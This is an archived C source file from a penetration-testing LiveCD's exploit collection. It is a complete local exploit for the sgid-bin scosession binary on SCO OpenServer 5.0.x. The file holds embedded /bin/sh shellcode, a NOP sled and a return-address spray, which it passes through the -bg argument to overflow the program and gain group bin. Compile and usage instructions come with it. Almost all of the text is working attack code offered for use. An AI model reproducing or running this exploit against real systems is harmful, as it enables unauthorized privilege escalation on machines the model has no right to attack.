home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / sco / local / scosessionx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  73 lines

  1.  
  2. /* SCO 5.0.x
  3.  * scosession local bin exploit (sgid bin)
  4.  * Will set egid=2(bin)
  5.  *
  6.  * gcc -o scosessionx scosessionx.c
  7.  *
  8.  * ./scosessionx <offset> <bufsiz>
  9.  *
  10.  * Brock Tellier btellier@webley.com
  11.  */
  12.  
  13.  
  14. #include <stdlib.h>
  15. #include <stdio.h>
  16.  
  17. char scoshell[]= /* doble@iname.com */
  18. "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
  19. "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
  20. "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
  21.  
  22.  
  23. #define LEN 10000
  24. #define NOP 0x90
  25.  
  26. unsigned long get_sp(void) {
  27.  
  28. __asm__("movl %esp, %eax");
  29.  
  30. }
  31.  
  32.  
  33. int main(int argc, char *argv[]) {
  34.  
  35. long int offset=0;
  36.  
  37. int i;
  38. int buflen = LEN;
  39. long int addr;
  40. char buf[LEN];
  41.  
  42. if(argc > 3) {
  43.  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
  44.  exit(0);
  45. }
  46. else if (argc == 3) {
  47.  offset=atoi(argv[1]);
  48.         buflen=atoi(argv[2]);
  49. }
  50.  else {
  51.    offset=9000;
  52.    buflen=2000;
  53.  
  54.  
  55.  }
  56.  
  57.  
  58. addr=get_sp();
  59.  
  60. fprintf(stderr, "scosession local exploit for SCO OpenServer 5.0.x\n");
  61. fprintf(stderr, "By Brock Tellier btellier@webley.com\n\n");
  62. fprintf(stderr, "Using addr: 0x%x\n", addr-offset);
  63.  
  64.  
  65. memset(buf,NOP,buflen);
  66. memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
  67. for(i=((buflen/2) + strlen(scoshell))+4;i<buflen-4;i+=4)
  68.  *(int *)&buf[i]=addr+offset;
  69.  
  70. execl("/usr/bin/X11/scosession", "scosession", "-bg", buf, NULL);
  71.  
  72. }
  73.